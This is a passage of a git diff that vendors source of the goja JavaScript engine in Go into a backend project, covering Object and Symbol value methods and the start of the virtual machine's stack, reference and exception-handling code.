o.self.getSym(sym, nil) +} + +// Keys returns a list of Object's enumerable keys. +// This method will panic with an *Exception if a JavaScript exception is thrown in the process. Use Runtime.Try to catch these. +func (o *Object) Keys() (keys []string) { + iter := &enumerableIter{ + o: o, + wrapped: o.self.iterateStringKeys(), + } + for item, next := iter.next(); next != nil; item, next = next() { + keys = append(keys, item.name.String()) + } + + return +} + +// GetOwnPropertyNames returns a list of all own string properties of the Object, similar to Object.getOwnPropertyNames() +// This method will panic with an *Exception if a JavaScript exception is thrown in the process. Use Runtime.Try to catch these. +func (o *Object) GetOwnPropertyNames() (keys []string) { + for item, next := o.self.iterateStringKeys()(); next != nil; item, next = next() { + keys = append(keys, item.name.String()) + } + + return +} + +// Symbols returns a list of Object's enumerable symbol properties. +// This method will panic with an *Exception if a JavaScript exception is thrown in the process. Use Runtime.Try to catch these. +func (o *Object) Symbols() []*Symbol { + symbols := o.self.symbols(false, nil) + ret := make([]*Symbol, len(symbols)) + for i, sym := range symbols { + ret[i], _ = sym.(*Symbol) + } + return ret +} + +// DefineDataProperty is a Go equivalent of Object.defineProperty(o, name, {value: value, writable: writable, +// configurable: configurable, enumerable: enumerable}) +func (o *Object) DefineDataProperty(name string, value Value, writable, configurable, enumerable Flag) error { + return o.runtime.try(func() { + o.self.defineOwnPropertyStr(unistring.NewFromString(name), PropertyDescriptor{ + Value: value, + Writable: writable, + Configurable: configurable, + Enumerable: enumerable, + }, true) + }) +} + +// DefineAccessorProperty is a Go equivalent of Object.defineProperty(o, name, {get: getter, set: setter, +// configurable: configurable, enumerable: enumerable}) +func (o *Object) DefineAccessorProperty(name string, getter, setter Value, configurable, enumerable Flag) error { + return o.runtime.try(func() { + o.self.defineOwnPropertyStr(unistring.NewFromString(name), PropertyDescriptor{ + Getter: getter, + Setter: setter, + Configurable: configurable, + Enumerable: enumerable, + }, true) + }) +} + +// DefineDataPropertySymbol is a Go equivalent of Object.defineProperty(o, name, {value: value, writable: writable, +// configurable: configurable, enumerable: enumerable}) +func (o *Object) DefineDataPropertySymbol(name *Symbol, value Value, writable, configurable, enumerable Flag) error { + return o.runtime.try(func() { + o.self.defineOwnPropertySym(name, PropertyDescriptor{ + Value: value, + Writable: writable, + Configurable: configurable, + Enumerable: enumerable, + }, true) + }) +} + +// DefineAccessorPropertySymbol is a Go equivalent of Object.defineProperty(o, name, {get: getter, set: setter, +// configurable: configurable, enumerable: enumerable}) +func (o *Object) DefineAccessorPropertySymbol(name *Symbol, getter, setter Value, configurable, enumerable Flag) error { + return o.runtime.try(func() { + o.self.defineOwnPropertySym(name, PropertyDescriptor{ + Getter: getter, + Setter: setter, + Configurable: configurable, + Enumerable: enumerable, + }, true) + }) +} + +func (o *Object) Set(name string, value interface{}) error { + return o.runtime.try(func() { + o.self.setOwnStr(unistring.NewFromString(name), o.runtime.ToValue(value), true) + }) +} + +func (o *Object) SetSymbol(name *Symbol, value interface{}) error { + return o.runtime.try(func() { + o.self.setOwnSym(name, o.runtime.ToValue(value), true) + }) +} + +func (o *Object) Delete(name string) error { + return o.runtime.try(func() { + o.self.deleteStr(unistring.NewFromString(name), true) + }) +} + +func (o *Object) DeleteSymbol(name *Symbol) error { + return o.runtime.try(func() { + o.self.deleteSym(name, true) + }) +} + +// Prototype returns the Object's prototype, same as Object.getPrototypeOf(). If the prototype is null +// returns nil. +func (o *Object) Prototype() *Object { + return o.self.proto() +} + +// SetPrototype sets the Object's prototype, same as Object.setPrototypeOf(). Setting proto to nil +// is an equivalent of Object.setPrototypeOf(null). +func (o *Object) SetPrototype(proto *Object) error { + return o.runtime.try(func() { + o.self.setProto(proto, true) + }) +} + +// MarshalJSON returns JSON representation of the Object. It is equivalent to JSON.stringify(o). +// Note, this implements json.Marshaler so that json.Marshal() can be used without the need to Export(). +func (o *Object) MarshalJSON() ([]byte, error) { + ctx := _builtinJSON_stringifyContext{ + r: o.runtime, + } + ex := o.runtime.vm.try(func() { + if !ctx.do(o) { + ctx.buf.WriteString("null") + } + }) + if ex != nil { + return nil, ex + } + return ctx.buf.Bytes(), nil +} + +// UnmarshalJSON implements the json.Unmarshaler interface. It is added to compliment MarshalJSON, because +// some alternative JSON encoders refuse to use MarshalJSON unless UnmarshalJSON is also present. +// It is a no-op and always returns nil. +func (o *Object) UnmarshalJSON([]byte) error { + return nil +} + +// ClassName returns the class name +func (o *Object) ClassName() string { + return o.self.className() +} + +func (o valueUnresolved) throw() { + o.r.throwReferenceError(o.ref) +} + +func (o valueUnresolved) ToInteger() int64 { + o.throw() + return 0 +} + +func (o valueUnresolved) toString() String { + o.throw() + return nil +} + +func (o valueUnresolved) string() unistring.String { + o.throw() + return "" +} + +func (o valueUnresolved) ToString() Value { + o.throw() + return nil +} + +func (o valueUnresolved) String() string { + o.throw() + return "" +} + +func (o valueUnresolved) ToFloat() float64 { + o.throw() + return 0 +} + +func (o valueUnresolved) ToBoolean() bool { + o.throw() + return false +} + +func (o valueUnresolved) ToObject(*Runtime) *Object { + o.throw() + return nil +} + +func (o valueUnresolved) ToNumber() Value { + o.throw() + return nil +} + +func (o valueUnresolved) SameAs(Value) bool { + o.throw() + return false +} + +func (o valueUnresolved) Equals(Value) bool { + o.throw() + return false +} + +func (o valueUnresolved) StrictEquals(Value) bool { + o.throw() + return false +} + +func (o valueUnresolved) baseObject(*Runtime) *Object { + o.throw() + return nil +} + +func (o valueUnresolved) Export() interface{} { + o.throw() + return nil +} + +func (o valueUnresolved) ExportType() reflect.Type { + o.throw() + return nil +} + +func (o valueUnresolved) hash(*maphash.Hash) uint64 { + o.throw() + return 0 +} + +func (s *Symbol) ToInteger() int64 { + panic(typeError("Cannot convert a Symbol value to a number")) +} + +func (s *Symbol) toString() String { + panic(typeError("Cannot convert a Symbol value to a string")) +} + +func (s *Symbol) ToString() Value { + return s +} + +func (s *Symbol) String() string { + if s.desc != nil { + return s.desc.String() + } + return "" +} + +func (s *Symbol) string() unistring.String { + if s.desc != nil { + return s.desc.string() + } + return "" +} + +func (s *Symbol) ToFloat() float64 { + panic(typeError("Cannot convert a Symbol value to a number")) +} + +func (s *Symbol) ToNumber() Value { + panic(typeError("Cannot convert a Symbol value to a number")) +} + +func (s *Symbol) ToBoolean() bool { + return true +} + +func (s *Symbol) ToObject(r *Runtime) *Object { + return s.baseObject(r) +} + +func (s *Symbol) SameAs(other Value) bool { + if s1, ok := other.(*Symbol); ok { + return s == s1 + } + return false +} + +func (s *Symbol) Equals(o Value) bool { + switch o := o.(type) { + case *Object: + return s.Equals(o.toPrimitive()) + } + return s.SameAs(o) +} + +func (s *Symbol) StrictEquals(o Value) bool { + return s.SameAs(o) +} + +func (s *Symbol) Export() interface{} { + return s.String() +} + +func (s *Symbol) ExportType() reflect.Type { + return reflectTypeString +} + +func (s *Symbol) baseObject(r *Runtime) *Object { + return r.newPrimitiveObject(s, r.getSymbolPrototype(), classObject) +} + +func (s *Symbol) hash(*maphash.Hash) uint64 { + return uint64(s.h) +} + +func exportValue(v Value, ctx *objectExportCtx) interface{} { + if obj, ok := v.(*Object); ok { + return obj.self.export(ctx) + } + return v.Export() +} + +func newSymbol(s String) *Symbol { + r := &Symbol{ + desc: s, + } + // This may need to be reconsidered in the future. + // Depending on changes in Go's allocation policy and/or introduction of a compacting GC + // this may no longer provide sufficient dispersion. The alternative, however, is a globally + // synchronised random generator/hasher/sequencer and I don't want to go down that route just yet. + r.h = uintptr(unsafe.Pointer(r)) + return r +} + +func NewSymbol(s string) *Symbol { + return newSymbol(newStringValue(s)) +} + +func (s *Symbol) descriptiveString() String { + desc := s.desc + if desc == nil { + desc = stringEmpty + } + return asciiString("Symbol(").Concat(desc).Concat(asciiString(")")) +} + +func funcName(prefix string, n Value) String { + var b StringBuilder + b.WriteString(asciiString(prefix)) + if sym, ok := n.(*Symbol); ok { + if sym.desc != nil { + b.WriteRune('[') + b.WriteString(sym.desc) + b.WriteRune(']') + } + } else { + b.WriteString(n.toString()) + } + return b.String() +} + +func newTypeError(args ...interface{}) typeError { + msg := "" + if len(args) > 0 { + f, _ := args[0].(string) + msg = fmt.Sprintf(f, args[1:]...) + } + return typeError(msg) +} + +func typeErrorResult(throw bool, args ...interface{}) { + if throw { + panic(newTypeError(args...)) + } + +} + +func init() { + for i := 0; i < 256; i++ { + intCache[i] = valueInt(i - 256) + } +} diff --git a/backend/vendor/github.com/dop251/goja/vm.go b/backend/vendor/github.com/dop251/goja/vm.go new file mode 100644 index 0000000..d50081d --- /dev/null +++ b/backend/vendor/github.com/dop251/goja/vm.go @@ -0,0 +1,5991 @@ +package goja + +import ( + "fmt" + "math" + "math/big" + "strconv" + "strings" + "sync" + "sync/atomic" + "time" + + "github.com/dop251/goja/unistring" +) + +const ( + maxInt = 1 << 53 + + tryPanicMarker = -2 +) + +type valueStack []Value + +type stash struct { + values []Value + extraArgs []Value + names map[unistring.String]uint32 + obj *Object + + outer *stash + + // If this is a top-level function stash, sets the type of the function. If set, dynamic var declarations + // created by direct eval go here. + funcType funcType +} + +type context struct { + prg *Program + stash *stash + privEnv *privateEnv + newTarget Value + result Value + pc, sb int + args int +} + +type tryFrame struct { + // holds an uncaught exception for the 'finally' block + exception *Exception + + callStackLen, iterLen, refLen uint32 + + sp int32 + stash *stash + privEnv *privateEnv + + catchPos, finallyPos, finallyRet int32 +} + +type execCtx struct { + context + stack []Value + tryStack []tryFrame + iterStack []iterStackItem + refStack []ref +} + +func (vm *vm) suspend(ectx *execCtx, tryStackLen, iterStackLen, refStackLen uint32) { + vm.saveCtx(&ectx.context) + ectx.stack = append(ectx.stack[:0], vm.stack[vm.sb-1:vm.sp]...) + if len(vm.tryStack) > int(tryStackLen) { + ectx.tryStack = append(ectx.tryStack[:0], vm.tryStack[tryStackLen:]...) + vm.tryStack = vm.tryStack[:tryStackLen] + sp := int32(vm.sb - 1) + for i := range ectx.tryStack { + tf := &ectx.tryStack[i] + tf.iterLen -= iterStackLen + tf.refLen -= refStackLen + tf.sp -= sp + } + } + if len(vm.iterStack) > int(iterStackLen) { + ectx.iterStack = append(ectx.iterStack[:0], vm.iterStack[iterStackLen:]...) + vm.iterStack = vm.iterStack[:iterStackLen] + } + if len(vm.refStack) > int(refStackLen) { + ectx.refStack = append(ectx.refStack[:0], vm.refStack[refStackLen:]...) + vm.refStack = vm.refStack[:refStackLen] + } +} + +func (vm *vm) resume(ctx *execCtx) { + vm.restoreCtx(&ctx.context) + sp := vm.sp + vm.sb = sp + 1 + vm.stack.expand(sp + len(ctx.stack)) + copy(vm.stack[sp:], ctx.stack) + vm.sp += len(ctx.stack) + for i := range ctx.tryStack { + tf := &ctx.tryStack[i] + tf.callStackLen = uint32(len(vm.callStack)) + tf.iterLen += uint32(len(vm.iterStack)) + tf.refLen += uint32(len(vm.refStack)) + tf.sp += int32(sp) + } + vm.tryStack = append(vm.tryStack, ctx.tryStack...) + vm.iterStack = append(vm.iterStack, ctx.iterStack...) + vm.refStack = append(vm.refStack, ctx.refStack...) +} + +type iterStackItem struct { + val Value + f iterNextFunc + iter *iteratorRecord +} + +type ref interface { + get() Value + set(Value) + init(Value) + refname() unistring.String +} + +type stashRef struct { + n unistring.String + v *[]Value + idx int +} + +func (r *stashRef) get() Value { + return nilSafe((*r.v)[r.idx]) +} + +func (r *stashRef) set(v Value) { + (*r.v)[r.idx] = v +} + +func (r *stashRef) init(v Value) { + r.set(v) +} + +func (r *stashRef) refname() unistring.String { + return r.n +} + +type thisRef struct { + v *[]Value + idx int +} + +func (r *thisRef) get() Value { + v := (*r.v)[r.idx] + if v == nil { + panic(referenceError("Must call super constructor in derived class before accessing 'this'")) + } + + return v +} + +func (r *thisRef) set(v Value) { + ptr := &(*r.v)[r.idx] + if *ptr != nil { + panic(referenceError("Super constructor may only be called once")) + } + *ptr = v +} + +func (r *thisRef) init(v Value) { + r.set(v) +} + +func (r *thisRef) refname() unistring.String { + return thisBindingName +} + +type stashRefLex struct { + stashRef +} + +func (r *stashRefLex) get() Value { + v := (*r.v)[r.idx] + if v == nil { + panic(errAccessBeforeInit) + } + return v +} + +func (r *stashRefLex) set(v Value) { + p := &(*r.v)[r.idx] + if *p == nil { + panic(errAccessBeforeInit) + } + *p = v +} + +func (r *stashRefLex) init(v Value) { + (*r.v)[r.idx] = v +} + +type stashRefConst struct { + stashRefLex + strictConst bool +} + +func (r *stashRefConst) set(v Value) { + if r.strictConst { + panic(errAssignToConst) + } +} + +type objRef struct { + base *Object + name Value + this Value + strict bool + + nameConverted bool +} + +func (r *objRef) getKey() Value { + if !r.nameConverted { + r.name = toPropertyKey(r.name) + r.nameConverted = true + } + return r.name +} + +func (r *objRef) get() Value { + return r.base.get(r.getKey(), r.this) +} + +func (r *objRef) set(v Value) { + key := r.getKey() + if r.this != nil { + r.base.set(key, v, r.this, r.strict) + } else { + r.base.setOwn(key, v, r.strict) + } +} + +func (r *objRef) init(v Value) { + if r.this != nil { + r.base.set(r.getKey(), v, r.this, r.strict) + } else { + r.base.setOwn(r.getKey(), v, r.strict) + } +} + +func (r *objRef) refname() unistring.String { + return r.getKey().string() +} + +type objStrRef struct { + base *Object + name unistring.String + this Value + strict bool + binding bool +} + +func (r *objStrRef) get() Value { + if v := r.base.self.getStr(r.name, r.this); v != nil { + return v + } + if r.binding { + rt := r.base.runtime + panic(rt.newReferenceError(r.name)) + } + return _undefined +} + +func (r *objStrRef) set(v Value) { + if r.strict && r.binding && !r.base.self.hasOwnPropertyStr(r.name) { + panic(referenceError(fmt.Sprintf("%s is not defined", r.name))) + } + if r.this != nil { + r.base.setStr(r.name, v, r.this, r.strict) + } else { + r.base.self.setOwnStr(r.name, v, r.strict) + } +} + +func (r *objStrRef) init(v Value) { + if r.this != nil { + r.base.setStr(r.name, v, r.this, r.strict) + } else { + r.base.self.setOwnStr(r.name, v, r.strict) + } +} + +func (r *objStrRef) refname() unistring.String { + return r.name +} + +type privateRefRes struct { + base *Object + name *resolvedPrivateName +} + +func (p *privateRefRes) get() Value { + return (*getPrivatePropRes)(p.name)._get(p.base, p.base.runtime.vm) +} + +func (p *privateRefRes) set(value Value) { + (*setPrivatePropRes)(p.name)._set(p.base, value, p.base.runtime.vm) +} + +func (p *privateRefRes) init(value Value) { + panic("not supported") +} + +func (p *privateRefRes) refname() unistring.String { + return p.name.string() +} + +type privateRefId struct { + base *Object + id *privateId +} + +func (p *privateRefId) get() Value { + return p.base.runtime.vm.getPrivateProp(p.base, p.id.name, p.id.typ, p.id.idx, p.id.isMethod) +} + +func (p *privateRefId) set(value Value) { + p.base.runtime.vm.setPrivateProp(p.base, p.id.name, p.id.typ, p.id.idx, p.id.isMethod, value) +} + +func (p *privateRefId) init(value Value) { + panic("not supported") +} + +func (p *privateRefId) refname() unistring.String { + return p.id.string() +} + +type unresolvedRef struct { + runtime *Runtime + name unistring.String +} + +func (r *unresolvedRef) get() Value { + r.runtime.throwReferenceError(r.name) + panic("Unreachable") +} + +func (r *unresolvedRef) set(Value) { + r.get() +} + +func (r *unresolvedRef) init(Value) { + r.get() +} + +func (r *unresolvedRef) refname() unistring.String { + return r.name +} + +type vm struct { + r *Runtime + prg *Program + pc int + stack valueStack + sp, sb, args int + + stash *stash + privEnv *privateEnv + callStack []context + iterStack []iterStackItem + refStack []ref + tryStack []tryFrame + newTarget Value + result Value + + maxCallStackSize int + + stashAllocs int + + interrupted uint32 + interruptVal interface{} + interruptLock sync.Mutex + + curAsyncRunner *asyncRunner + + profTracker *profTracker +} + +type instruction interface { + exec(*vm) +} + +func intToValue(i int64) Value { + if idx := 256 + i; idx >= 0 && idx < 256 { + return intCache[idx] + } + if i >= -maxInt && i <= maxInt { + return valueInt(i) + } + return valueFloat(i) +} + +func floatToInt(f float64) (result int64, ok bool) { + if (f != 0 || !math.Signbit(f)) && !math.IsInf(f, 0) && f == math.Trunc(f) && f >= -maxInt && f <= maxInt { + return int64(f), true + } + return 0, false +} + +func floatToValue(f float64) (result Value) { + if i, ok := floatToInt(f); ok { + return intToValue(i) + } + switch { + case f == 0: + return _negativeZero + case math.IsNaN(f): + return _NaN + case math.IsInf(f, 1): + return _positiveInf + case math.IsInf(f, -1): + return _negativeInf + } + return valueFloat(f) +} + +func toNumeric(value Value) Value { + switch v := value.(type) { + case valueInt, *valueBigInt: + return v + case valueFloat: + return floatToValue(float64(v)) + case *Object: + primValue := v.toPrimitiveNumber() + if bigint, ok := primValue.(*valueBigInt); ok { + return bigint + } + return primValue.ToNumber() + } + return value.ToNumber() +} + +func (s *valueStack) expand(idx int) { + if idx < len(*s) { + return + } + idx++ + if idx < cap(*s) { + *s = (*s)[:idx] + } else { + var newCap int + if idx < 1024 { + newCap = idx * 2 + } else { + newCap = (idx + 1025) &^ 1023 + } + n := make([]Value, idx, newCap) + copy(n, *s) + *s = n + } +} + +func stashObjHas(obj *Object, name unistring.String) bool { + if obj.self.hasPropertyStr(name) { + if unscopables, ok := obj.self.getSym(SymUnscopables, nil).(*Object); ok { + if b := unscopables.self.getStr(name, nil); b != nil { + return !b.ToBoolean() + } + } + return true + } + return false +} + +func (s *stash) isVariable() bool { + return s.funcType != funcNone +} + +func (s *stash) initByIdx(idx uint32, v Value) { + if s.obj != nil { + panic("Attempt to init by idx into an object scope") + } + s.values[idx] = v +} + +func (s *stash) initByName(name unistring.String, v Value) { + if idx, exists := s.names[name]; exists { + s.values[idx&^maskTyp] = v + } else { + panic(referenceError(fmt.Sprintf("%s is not defined", name))) + } +} + +func (s *stash) getByIdx(idx uint32) Value { + return s.values[idx] +} + +func (s *stash) getByName(name unistring.String) (v Value, exists bool) { + if s.obj != nil { + if stashObjHas(s.obj, name) { + return nilSafe(s.obj.self.getStr(name, nil)), true + } + return nil, false + } + if idx, exists := s.names[name]; exists { + v := s.values[idx&^maskTyp] + if v == nil { + if idx&maskVar == 0 { + panic(errAccessBeforeInit) + } else { + v = _undefined + } + } + return v, true + } + return nil, false +} + +func (s *stash) getRefByName(name unistring.String, strict bool) ref { + if obj := s.obj; obj != nil { + if stashObjHas(obj, name) { + return &objStrRef{ + base: obj, + name: name, + strict: strict, + binding: true, + } + } + } else { + if idx, exists := s.names[name]; exists { + if idx&maskVar == 0 { + if idx&maskConst == 0 { + return &stashRefLex{ + stashRef: stashRef{ + n: name, + v: &s.values, + idx: int(idx &^ maskTyp), + }, + } + } else { + return &stashRefConst{ + stashRefLex: stashRefLex{ + stashRef: stashRef{ + n: name, + v: &s.values, + idx: int(idx &^ maskTyp), + }, + }, + strictConst: strict || (idx&maskStrict != 0), + } + } + } else { + return &stashRef{ + n: name, + v: &s.values, + idx: int(idx &^ maskTyp), + } + } + } + } + return nil +} + +func (s *stash) createBinding(name unistring.String, deletable bool) { + if s.names == nil { + s.names = make(map[unistring.String]uint32) + } + if _, exists := s.names[name]; !exists { + idx := uint32(len(s.names)) | maskVar + if deletable { + idx |= maskDeletable + } + s.names[name] = idx + s.values = append(s.values, _undefined) + } +} + +func (s *stash) createLexBinding(name unistring.String, isConst bool) { + if s.names == nil { + s.names = make(map[unistring.String]uint32) + } + if _, exists := s.names[name]; !exists { + idx := uint32(len(s.names)) + if isConst { + idx |= maskConst | maskStrict + } + s.names[name] = idx + s.values = append(s.values, nil) + } +} + +func (s *stash) deleteBinding(name unistring.String) { + delete(s.names, name) +} + +func (vm *vm) newStash() { + vm.stash = &stash{ + outer: vm.stash, + } + vm.stashAllocs++ +} + +func (vm *vm) init() { + vm.sb = -1 + vm.stash = &vm.r.global.stash + vm.maxCallStackSize = math.MaxInt32 +} + +func (vm *vm) halted() bool { + pc := vm.pc + return pc < 0 || pc >= len(vm.prg.code) +} + +func (vm *vm) run() { + if vm.profTracker != nil && !vm.runWithProfiler() { + return + } + count := 0 + interrupted := false + for { + if count == 0 { + if atomic.LoadInt32(&globalProfiler.enabled) == 1 && !vm.runWithProfiler() { + return + } + count = 100 + } else { + count-- + } + if interrupted = atomic.LoadUint32(&vm.interrupted) != 0; interrupted { + break + } + pc := vm.pc + if pc < 0 || pc >= len(vm.prg.code) { + break + } + vm.prg.code[pc].exec(vm) + } + + if interrupted { + vm.interruptLock.Lock() + v := &InterruptedError{ + iface: vm.interruptVal, + } + v.stack = vm.captureStack(nil, 0) + vm.interruptLock.Unlock() + panic(v) + } +} + +func (vm *vm) runWithProfiler() bool { + pt := vm.profTracker + if pt == nil { + pt = globalProfiler.p.registerVm() + vm.profTracker = pt + defer func() { + atomic.StoreInt32(&vm.profTracker.finished, 1) + vm.profTracker = nil + }() + } + interrupted := false + for { + if interrupted = atomic.LoadUint32(&vm.interrupted) != 0; interrupted { + return true + } + pc := vm.pc + if pc < 0 || pc >= len(vm.prg.code) { + break + } + vm.prg.code[pc].exec(vm) + req := atomic.LoadInt32(&pt.req) + if req == profReqStop { + return true + } + if req == profReqDoSample { + pt.stop = time.Now() + + pt.numFrames = len(vm.r.CaptureCallStack(len(pt.frames), pt.frames[:0])) + pt.frames[0].pc = pc + atomic.StoreInt32(&pt.req, profReqSampleReady) + } + } + + return false +} + +func (vm *vm) Interrupt(v interface{}) { + vm.interruptLock.Lock() + vm.interruptVal = v + atomic.StoreUint32(&vm.interrupted, 1) + vm.interruptLock.Unlock() +} + +func (vm *vm) ClearInterrupt() { + atomic.StoreUint32(&vm.interrupted, 0) +} + +func getFuncName(stack []Value, sb int) unistring.String { + if sb > 0 { + if f, ok := stack[sb-1].(*Object); ok { + if _, isProxy := f.self.(*proxyObject); isProxy { + return "proxy" + } + return nilSafe(f.self.getStr("name", nil)).string() + } + } + return "" +} + +func (vm *vm) captureStack(stack []StackFrame, ctxOffset int) []StackFrame { + // Unroll the context stack + if vm.prg != nil || vm.sb > 0 { + var funcName unistring.String + if vm.prg != nil { + funcName = vm.prg.funcName + } else { + funcName = getFuncName(vm.stack, vm.sb) + } + stack = append(stack, StackFrame{prg: vm.prg, pc: vm.pc, funcName: funcName}) + } + for i := len(vm.callStack) - 1; i > ctxOffset-1; i-- { + frame := &vm.callStack[i] + if frame.prg != nil || frame.sb > 0 { + var funcName unistring.String + if prg := frame.prg; prg != nil { + funcName = prg.funcName + } else { + funcName = getFuncName(vm.stack, frame.sb) + } + stack = append(stack, StackFrame{prg: vm.callStack[i].prg, pc: frame.pc, funcName: funcName}) + } + } + if ctxOffset == 0 && vm.curAsyncRunner != nil { + stack = vm.captureAsyncStack(stack, vm.curAsyncRunner) + } + return stack +} + +func (vm *vm) captureAsyncStack(stack []StackFrame, runner *asyncRunner) []StackFrame { + if promise, _ := runner.promiseCap.promise.self.(*Promise); promise != nil { + if len(promise.fulfillReactions) == 1 { + if r := promise.fulfillReactions[0].asyncRunner; r != nil { + ctx := &r.gen.ctx + if ctx.prg != nil || ctx.sb > 0 { + var funcName unistring.String + if prg := ctx.prg; prg != nil { + funcName = prg.funcName + } else { + funcName = getFuncName(ctx.stack, 1) + } + stack = append(stack, StackFrame{prg: ctx.prg, pc: ctx.pc, funcName: funcName}) + } + stack = vm.captureAsyncStack(stack, r) + } + } + } + + return stack +} + +func (vm *vm) pushTryFrame(catchPos, finallyPos int32) { + vm.tryStack = append(vm.tryStack, tryFrame{ + callStackLen: uint32(len(vm.callStack)), + iterLen: uint32(len(vm.iterStack)), + refLen: uint32(len(vm.refStack)), + sp: int32(vm.sp), + stash: vm.stash, + privEnv: vm.privEnv, + catchPos: catchPos, + finallyPos: finallyPos, + finallyRet: -1, + }) +} + +func (vm *vm) popTryFrame() { + vm.tryStack = vm.tryStack[:len(vm.tryStack)-1] +} + +func (vm *vm) restoreStacks(iterLen, refLen uint32) (ex *Exception) { + // Restore other stacks + iterTail := vm.iterStack[iterLen:] + for i := len(iterTail) - 1; i >= 0; i-- { + if iter := iterTail[i].iter; iter != nil { + ex1 := vm.try(func() { + iter.returnIter() + }) + if ex1 != nil && ex == nil { + ex = ex1 + } + } + iterTail[i] = iterStackItem{} + } + vm.iterStack = vm.iterStack[:iterLen] + refTail := vm.refStack[refLen:] + for i := range refTail { + refTail[i] = nil + } + vm.refStack = vm.refStack[:refLen] + return +} + +func (vm *vm) handleThrow(arg interface{}) *Exception { + ex := vm.exceptionFromValue(arg) + for len(vm.tryStack) > 0 { + tf := &vm.tryStack[len(vm.tryStack)-1] + if tf.catchPos == -1 && tf.finallyPos == -1 || ex == nil && tf.catchPos != tryPanicMarker { + tf.exception = nil + vm.popTryFrame() + continue + } + if int(tf.callStackLen) < len(vm.callStack) { + ctx := &vm.callStack[tf.callStackLen] + vm.prg, vm.newTarget, vm.result, vm.pc, vm.sb, vm.args = + ctx.prg, ctx.newTarget, ctx.result, ctx.pc, ctx.sb, ctx.args + vm.callStack = vm.callStack[:tf.callStackLen] + } + vm.sp = int(tf.sp) + vm.stash = tf.stash + vm.privEnv = tf.privEnv + _ = vm.restoreStacks(tf.iterLen, tf.refLen) + + if tf.catchPos == tryPanicMarker { + break + } + + if tf.catchPos >= 0 { + // exception is caught + vm.push(ex.val) + vm.pc = int(tf.catchPos) + tf.catchPos = -1 + return nil + } + if tf.finallyPos >= 0 { + // no 'catch' block, but there is a 'finally' block + tf.exception = ex + vm.pc = int(tf.finallyPos) + tf.finallyPos = -1 + tf.finallyRet = -1 + return nil + } + } + if ex == nil { + panic(arg) + } + return ex +} + +// Calls to this method must be made from the run() loop and must be the last statement before 'return'. +// In all other cases exceptions must be thrown using panic(). +func (vm *vm) throw(v interface{}) { + if ex := vm.handleThrow(v); ex != nil { + panic(ex) + } +} + +func (vm *vm) try(f func()) (ex *Exception) { + vm.pushTryFrame(tryPanicMarker, -1) + defer vm.popTryFrame() + + defer func() { + if x := recover(); x != nil { + ex = vm.handleThrow(x) + } + }() + + f() + return +} + +func (vm *vm) runTry() (ex *Exception) { + vm.pushTryFrame(tryPanicMarker, -1) + defer vm.popTryFrame() + + for { + ex = vm.runTryInner() + if ex != nil || vm.halted() { + return + } + } +} + +func (vm *vm) runTryInner() (ex *Exception) { + defer func() { + if x := recover(); x != nil { + ex = vm.handleThrow(x) + } + }() + + vm.run() + return +} + +func (vm *vm) push(v Value) { + vm.stack.expand(vm.sp) + vm.stack[vm.sp] = v + vm.sp++ +} + +func (vm *vm) pop() Value { + vm.sp-- + return vm.stack[vm.sp] +} + +func (vm *vm) peek() Value { + return vm.stack[vm.sp-1] +} + +func (vm *vm) saveCtx(ctx *context) { + ctx.prg, ctx.stash, ctx.privEnv, ctx.newTarget, ctx.result, ctx.pc, ctx.sb, ctx.args = + vm.prg, vm.stash, vm.privEnv, vm.newTarget, vm.result, vm.pc, vm.sb, vm.args +} + +func (vm *vm) pushCtx() { + if len(vm.callStack) > vm.maxCallStackSize { + ex := &StackOverflowError{} + ex.stack = vm.captureStack(nil, 0) + panic(ex) + } + vm.callStack = append(vm.callStack, context{}) + ctx := &vm.callStack[len(vm.callStack)-1] + vm.saveCtx(ctx) +} + +func (vm *vm) restoreCtx(ctx *context) { + vm.prg, vm.stash, vm.privEnv, vm.newTarget, vm.result, vm.pc, vm.sb, vm.args = + ctx.prg, ctx.stash, ctx.privEnv, ctx.newTarget, ctx.result, ctx.pc, ctx.sb, ctx.args +} + +func (vm *vm) popCtx() { + l := len(vm.callStack) - 1 + ctx := &vm.callStack[l] + vm.restoreCtx(ctx) + + if ctx.prg != nil { + *ctx = context{} + } + + vm.callStack = vm.callStack[:l] +} + +func (vm *vm) toCallee(v Value) *Object { + if obj, ok := v.(*Object); ok { + return obj + } + switch unresolved := v.(type) { + case valueUnresolved: + unresolved.throw() + panic("Unreachable") + case memberUnresolved: + panic(vm.r.NewTypeError("Object has no member '%s'", unresolved.ref)) + } + panic(vm.r.NewTypeError("Value is not an object: %s", v.toString())) +} + +type loadVal struct { + v Value +} + +func (l loadVal) exec(vm *vm) { + vm.push(l.v) + vm.pc++ +} + +type _loadUndef struct{} + +var loadUndef _loadUndef + +func (_loadUndef) exec(vm *vm) { + vm.push(_undefined) + vm.pc++ +} + +type _loadNil struct{} + +var loadNil _loadNil + +func (_loadNil) exec(vm *vm) { + vm.push(nil) + vm.pc++ +} + +type _saveResult struct{} + +var saveResult _saveResult + +func (_saveResult) exec(vm *vm) { + vm.sp-- + vm.result = vm.stack[vm.sp] + vm.pc++ +} + +type _loadResult struct{} + +var loadResult _loadResult + +func (_loadResult) exec(vm *vm) { + vm.push(vm.result) + vm.pc++ +} + +type _clearResult struct{} + +var clearResult _clearResult + +func (_clearResult) exec(vm *vm) { + vm.result = _undefined + vm.pc++ +} + +type _loadGlobalObject struct{} + +var loadGlobalObject _loadGlobalObject + +func (_loadGlobalObject) exec(vm *vm) { + vm.push(vm.r.globalObject) + vm.pc++ +} + +type loadStack int + +func (l loadStack) exec(vm *vm) { + // l > 0 -- var + // l == 0 -- this + + if l > 0 { + vm.push(nilSafe(vm.stack[vm.sb+vm.args+int(l)])) + } else { + vm.push(vm.stack[vm.sb]) + } + vm.pc++ +} + +type loadStack1 int + +func (l loadStack1) exec(vm *vm) { + // args are in stash + // l > 0 -- var + // l == 0 -- this + + if l > 0 { + vm.push(nilSafe(vm.stack[vm.sb+int(l)])) + } else { + vm.push(vm.stack[vm.sb]) + } + vm.pc++ +} + +type loadStackLex int + +func (l loadStackLex) exec(vm *vm) { + // l < 0 -- arg<-l-1> + // l > 0 -- var + // l == 0 -- this + var p *Value + if l <= 0 { + arg := int(-l) + if arg > vm.args { + vm.push(_undefined) + vm.pc++ + return + } else { + p = &vm.stack[vm.sb+arg] + } + } else { + p = &vm.stack[vm.sb+vm.args+int(l)] + } + if *p == nil { + vm.throw(errAccessBeforeInit) + return + } + vm.push(*p) + vm.pc++ +} + +type loadStack1Lex int + +func (l loadStack1Lex) exec(vm *vm) { + p := &vm.stack[vm.sb+int(l)] + if *p == nil { + vm.throw(errAccessBeforeInit) + return + } + vm.push(*p) + vm.pc++ +} + +type _loadCallee 